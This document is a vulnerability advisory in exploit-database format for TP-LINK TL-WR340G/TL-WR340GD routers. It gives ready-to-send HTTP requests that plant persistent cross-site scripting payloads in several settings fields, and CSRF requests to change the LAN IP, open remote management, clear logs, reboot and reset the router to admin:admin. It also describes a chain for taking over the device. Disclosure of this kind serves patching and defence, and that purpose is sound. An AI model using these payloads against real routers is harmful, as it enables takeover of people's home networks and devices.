TP-LINK Model No. TL-WR340G / TL-WR340GD - Multiple Vulnerab

#Title: TP-LINK Model No. TL-WR340G/TL-WR340GD - Multiple Vulnerabilities
#Date: 01.07.14
#Vendor: TP-LINK
#Affected versions: TL-WR340G/TL-WR340GD
#Tested on: Firmware Version - 4.3.7 Build 090901 Rel.61899n, Hardware Version - WR340G v5 081520C2 [at] Linux
#Contact: smash [at] devilteam.pl

Persistent Cross Site Scripting vulnerabilities exists because of poor parameters filtration. Our value is stored in javascript array, since it's not correctly verified nor filtered, it is able to inject javascript code. It will be executed whenever user will visit specific settings page. Because of no CSRF prevention, it is able to compromise router. Attacker may force user to restore factory default settings, and then to turn on remote managment; in result, it will be able to log in using default username and password (admin:admin).

Config file - 192.168.1.1/userRpm/config.bin


#1 - Cross Site Scripting


 a) Persistent XSS in Network > WAN Settings

Vulnerable parameter - hostName.

Request:
GET /userRpm/WanDynamicIpCfgRpm.htm?wantype=Dynamic+IP&hostName=%3C/script%3E%3Cscript%3Ealert(123)%3C/script%3E&mtu=1500&Save=Save HTTP/1.1
Host: 192.168.1.1

Response:
HTTP/1.1 200 OK
Server: Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless Router WR340G"

<SCRIPT language="javascript" type="text/javascript">
var dhcpInf = new Array(
1,
(...)
"</script><script>alert(123)</script>",
0,0 );
</SCRIPT>
(...)


 b) Persitent XSS in Wireless Settings

Vulnerable parameter - ssid.

Request:
GET /userRpm/WlanNetworkRpm.htm?ssid=%3C%2Fscript%3Exssed%3C%3E&region=102&channel=6&mode=2&ap=2&broadcast=2&secType=1&secOpt=3&keytype=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save HTTP/1.1
Host: 192.168.1.1

Response:
HTTP/1.1 200 OK
Server: Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless Router WR340G"

<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
5, 0, "</script>xssed<>", 114, 102, 1, 6, 2, 1, 1, 0, "", "", "", "", "", "", 0, 1, "333", 1, "11", 1, "0.0.0.0", 1812, "", "", 86400, 86400, 1,
0,0 );
</SCRIPT>
(...)


 c) Persistent XSS in DHCP Settings

Vulnerable parameter - domain.

Request:
GET /userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=</script><xssed>'"&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save HTTP/1.1
Host: 192.168.1.1
Referer: http://192.168.1.1/userRpm/LanDhcpServerRpm.htm

Response:
HTTP/1.1 200 OK
Server: Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless Router WR340G"

<SCRIPT language="javascript" type="text/javascript">
var DHCPPara = new Array(
1,
"192.168.1.100",
"192.168.1.199",
120,
"0.0.0.0",
"</script><xssed>'\"",
"0.0.0.0",
"0.0.0.0",
1,
1,
0,0 );
</SCRIPT>
(...)


 d) Persitent XSS in Security > Domain Filtering

Vulnerable parameter - domain; value is being validated by js to prevent illegal characters in domain name. It is able to avoid this filtration by sending raw http request.

Request:
GET /userRpm/DomainFilterRpm.htm?begintime=0000&endtime=2400&domain=hm</script><xssed>'"&State=1&Changed=1&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.1.1

Response:
HTTP/1.1 200 OK
Server: Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless Router WR340G"

<SCRIPT language="javascript" type="text/javascript">
var domainFilterList = new Array(
"0000-2400", "hm</script><xssed>'\"", 1,
0,0 );
</SCRIPT>
(...)


 e) Persistent XSS in Dynamic DNS Settings

Vulnerable parameters - username & cliUrl.

Request:
GET /userRpm/DynDdnsRpm.htm?provider=2&username=&pwd=&cliUrl=</script><script>alert(123)</script>&Save=Save HTTP/1.1
Host: 192.168.1.1

Response:
HTTP/1.1 200 OK
Server: Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless Router WR340G"

<SCRIPT language="javascript" type="text/javascript">
var serInf = new Array(
"",
"",
"</script><script>alert(123)</script>",
0,
0,
2,
2,
0,
1,
0,0 );
</SCRIPT>
(...)


#2 - CSRF


 a) Change LAN IP

Parameter lanip stands for further ip.

GET /userRpm/NetworkLanCfgRpm.htm?lanip=192.168.1.2&lanmask=255.255.255.0&Save=Save HTTP/1.1
Host: 192.168.1.1


 b) Change remote managment settings

GET /userRpm/ManageControlRpm.htm?port=80&ip=0.0.0.0&Save=Save HTTP/1.1
Host: 192.168.1.1


 c) Clear syslog

GET /userRpm/SystemLogRpm.htm?Clearlog=Clear+All HTTP/1.1
Host: 192.168.1.1


 d) Reboot device

GET /userRpm/SysRebootRpm.htm?Reboot=Reboot HTTP/1.1
Host: 192.168.1.1


 e) Restore factory defaults (admin:admin)

GET /userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore HTTP/1.1
Host: 192.168.1

# 2CCC9E6E50C8205C   1337day.com [2014-07-05]   A550E4FFAFA05238 #


Description:
TP-LINK Model No. TL-WR340G & TL-WR340GD suffers on multiple persistent cross site scripting and cross site request forgery vulnerabilities.

Persistent Cross Site Scripting vulnerabilities exists because of poor parameters filtration. Our value is stored in javascript array, since it's not correctly verified nor filtered, it is able to inject javascript code. It will be executed whenever user will visit specific settings page. Because of no CSRF prevention, it is able to compromise router. Attacker may force user to restore factory default settings, and then to turn on remote managment; in result, it will be able to log in using default username and password credentials(admin:admin).








Full title	 TP-LINK Model No. TL-WR340G / TL-WR340GD - Multiple Vulnerabilities
Date add	2014-07-02
Category	web applications
Platform	hardware
Risk	<font color="#FFBF00">Security Risk High</font>
Vendor	 tplink.com
Affected ver	 TL-WR340G & TL-WR340GD
Tested on	 Firmware Version - 4.3.7 Build 090901 Rel.61899n, Hardware Version - WR340G v5 081520C2 [at] Linux
Solution	 CSRF prevention mechanism and solid parameters filtration.